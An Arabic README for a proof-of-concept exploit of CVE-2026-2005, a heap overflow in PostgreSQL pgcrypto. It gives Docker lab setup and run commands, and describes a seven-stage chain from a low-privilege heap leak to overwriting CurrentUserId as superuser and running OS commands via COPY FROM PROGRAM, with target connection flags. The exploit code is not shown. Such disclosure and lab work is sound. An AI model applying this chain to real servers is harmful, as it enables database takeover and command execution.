
إثبات مفهوم (PoC) لثغرة تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في pgcrypto الخاص بـ PostgreSQL، يوضح CVE-2026-2005: تنفيذ كود عن بعد (RCE) بصلاحيات منخفضة وتصعيد الامتيازات إلى مستخدم خارق (superuser) عبر حزمة OpenPGP مصممة بعناية.
الالتزام المستهدف: 4b324845ba5d24682b9b3708a769f00d160afbd7 (PostgreSQL 18.1 — الإصدار المعرض للخطر)
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2026-2005 |
| النوع | تجاوز سعة المخزن المؤقت في الكومة |
| المكوّن | contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey() |
| التأثير | تنفيذ كود عن بُعد (RCE) كمستخدم نظام التشغيل الذي يشغّل PostgreSQL |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| المصادقة المطلوبة | منخفضة — أي مستخدم مصادق عليه بصلاحية CREATE |
| الإصدارات المتأثرة | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| تم الإصلاح في | 14.21, 15.16, 16.12, 17.8, 18.2 (12 فبراير 2026) |
| البنية | aarch64 (ARM64) — إزاحات الكومة وتخطيط MBuf خاصة بالبنية و glibc |
# بناء وتشغيل PostgreSQL 18.1 (الإصدار المعرض للخطر)
docker compose up -d --build
# انتظر حتى يصبح جاهزًا
docker compose logs -f postgres
# اضغط Ctrl+C عندما ترى "database system is ready to accept connections"
# إعداد لمرة واحدة: انسخ ملف postgres الثنائي لتحليل الرموز دون اتصال
docker cp cve-2026-2005-poc:/usr/local/pgsql/bin/postgres ./postgres
# تثبيت تبعيات Node
npm install
# تشغيل سلسلة الاستغلال الكاملة لـ RCE (SQL خالص — بدون تفاعل مع Docker)
node exploit.js --cmd "id"
# مع إخراج تفصيلي
node exploit.js --cmd "id" --verbose
# تنفيذ أمر مخصص
node exploit.js --cmd "whoami"
المرحلة 1: تسريب مؤشر الكومة
└─ إتلاف ترويسة كتلة mdst → تحليل رسالة خطأ pfree()
المرحلة 2: قراءة عشوائية (فحص متعدد النوافذ)
└─ الكتابة فوق mdst->data → فحص الذاكرة بالقرب من المؤشر المسرَّب
المرحلة 3: جمع المرشحين للمؤشرات
└─ فحص تفريغات الكومة بحثًا عن قيم 8 بايت تشبه المؤشرات
المرحلة 4: تحديد عنوان قاعدة PIE
└─ التصويت على العناوين المسرَّبة مقابل إزاحات رموز ELF (تجميع حسب
إزاحة الصفحة، دون اتصال — تُحلَّل الرموز من النسخة الثنائية المحلية)
المرحلة 5: التحقق من PIE
└─ قراءة عشوائية لـ CurrentUserId عند القاعدة المرشحة → المقارنة مع OID الجلسة
المرحلة 6: كتابة عشوائية
└─ تزوير MBufs الخاصة بـ msrc و mdst → الكتابة فوق CurrentUserId → 10 (مستخدم خارق)
المرحلة 7: تنفيذ الأوامر
└─ COPY FROM PROGRAM → تنفيذ أمر نظام تشغيل عشوائي كمستخدم postgres
CVE-2026-2005/
├── Dockerfile # بناء PostgreSQL 18.1 من المصدر
├── docker-compose.yml # خدمة PostgreSQL مع إعادة تشغيل تلقائية
├── init.sh # نقطة الدخول — initdb + إعداد الاستماع
├── README.md # هذا الملف
└── poc/
├── package.json # تبعيات Node.js (pg)
├── exploit.js # استغلال RCE الكامل من 7 مراحل (Node.js)
├── verify.sh # تحقق سريع قائم على الصدفة
└── test-pgcrypto.sql # اختبار تحميل pgcrypto عبر SQL فقط
git clone https://github.com/postgres/postgres.git
cd postgres
git checkout 4b324845ba5d24682b9b3708a769f00d160afbd7
./configure \
--prefix="$HOME/projects/pg/pgsql" \
--with-libxml \
--with-libxslt \
--enable-debug \
--with-ssl=openssl
make -j$(nproc)
make install-world-bin
tmux (اختياري — مطلوب فقط مع علامة --gdb)الخلل موجود في pgp_parse_pubenc_sesskey() في contrib/pgcrypto/pgp-pubdec.c.
عند تحليل حزمة مفتاح جلسة مشفرة بمفتاح عام من OpenPGP (العلامة 1):
memcpy لبيانات مفتاح الجلسة إلى مخزن مؤقت بحجم ثابت بناءً على الطول غير المُتحقق منهيمكن أن يكتب memcpy خارج حدود المخزن المؤقت في الكومة، مما يُتلف بيانات أو بيانات وصفية مجاورة في الكومة، ويؤدي إلى تنفيذ كود عشوائي.
pfree()
لاستخراج عنوان كومة mdst->data./proc/<pid>/maps من حاوية Docker
للعثور على عنوان تحميل ملف postgres الثنائي في وقت التشغيل.msrc (المصدر) و mdst (الوجهة)
عبر تجاوز سعة الكومة. يشير msrc إلى حزمة symenc مضمّنة تحتوي على OID المستخدم الخارق (10)؛
ويشير mdst إلى CurrentUserId - 4
(مع مراعاة ترويسة SET_VARSIZE ذات 4 بايت).CurrentUserId = 10 (المستخدم الخارق للتمهيد)،
تنفيذ COPY FROM PROGRAM لتشغيل أوامر نظام تشغيل عشوائية.pgcrypto موثوق — يمكن لأي مستخدم بصلاحية CREATE
(وليس مستخدمًا خارقًا) تثبيته، مما يجعل هذه الثغرة قابلة للاستغلال بصلاحيات منخفضة.--enable-debug لتسهيل التصحيح باستخدام gdb.SRC_CHUNK_OFFSET=100, DST_CHUNK_OFFSET=172) خاصة
ببنية aarch64 + glibc — تتطلب البنى/المُخصِّصات الأخرى إزاحات مختلفة.CurrentUserId عبر نفس
بدائية القراءة العشوائية.| العلامة | الافتراضي | الوصف |
|---|
--cmd | id | أمر نظام التشغيل للتنفيذ بعد نجاح الاستغلال |
--key-size | 3072 | حجم مفتاح RSA بالبت |
--host | 127.0.0.1 | مضيف PostgreSQL |
--port | 5432 | منفذ PostgreSQL |
--user | postgres | مستخدم قاعدة البيانات |
--password | (فارغ) | كلمة مرور قاعدة البيانات |
--dbname | postgres | اسم قاعدة البيانات |
--binary | ./postgres | مسار ملف postgres الثنائي ELF للرموز |
--scan-offset | تلقائي | تجاوز إزاحة فحص الكومة من المؤشر المسرَّب |
--verbose | إيقاف | تفعيل إخراج التصحيح التفصيلي |
--gdb | إيقاف | إرفاق GDB عبر tmux عند نقطة التجاوز |